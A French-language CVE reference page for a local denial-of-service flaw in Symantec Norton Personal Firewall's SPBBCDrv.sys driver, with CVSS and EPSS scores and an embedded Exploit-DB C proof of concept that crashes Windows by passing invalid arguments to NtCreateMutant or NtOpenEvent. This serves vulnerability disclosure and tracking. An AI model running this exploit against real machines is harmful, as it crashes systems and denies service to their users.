CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
SPBBCDrv.sys in Symantec Norton Personal Firewall 2006 9.1.0.33 and 9.1.1.7 does not validate certain arguments before being passed to hooked SSDT function handlers, which allows local users to cause a denial of service (crash) or possibly execute arbitrary code via crafted arguments to the (1) NtCreateMutant and (2) NtOpenEvent functions. NOTE: it was later reported that Norton Internet Security 2008 15.0.0.60, and possibly other versions back to 2006, are also affected.
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
4.9
AV:L/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
5.63%
–
–
2022-04-03
–
–
5.63%
–
–
2022-07-17
–
–
5.63%
–
–
2022-08-07
–
–
5.63%
–
–
2022-08-14
–
–
5.63%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.07%
–
2024-07-14
–
–
–
0.07%
–
2024-08-04
–
–
–
0.07%
–
2024-08-11
–
–
–
0.07%
–
2024-11-10
–
–
–
0.07%
–
2025-01-26
–
–
–
0.07%
–
2025-01-19
–
–
–
0.07%
–
2025-01-25
–
–
–
0.07%
–
2025-03-18
–
–
–
–
0.23%
2025-03-30
–
–
–
–
0.26%
2025-04-15
–
–
–
–
0.26%
2025-04-15
–
–
–
–
0.26,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-03-31 22h00 +00:00 Auteur : David Matousek EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/23241/info
Multiple Symantec products are prone to a local denial-of-service vulnerability.
This issue occurs when attackers supply invalid argument values to the 'SPBBCDrv.sys' driver.
A local attacker may exploit this issue to crash affected computers, denying service to legitimate users.
/*
Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that cause the crash of the system. This happens because of
insufficient check of function arguments in the driver of the firewall.
Test:
Running the testing program with the name of function from the list of functions with insufficient check
of arguments.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P002NF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtCreateMutant") || !stricmp(argv[1],"ZwCreateMutant"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);
ZwCreateMutant(&handle,0,&oa,FALSE);
} else if (!stricmp(argv[1],"NtOpenEvent") || !stricmp(argv[1],"ZwOpenEvent"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,(PVOID)1,0,NULL,NULL);
ZwOpenEvent(&handle,0,&oa);
} else printf("\nI do not know how to exploit the vulnerability using this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}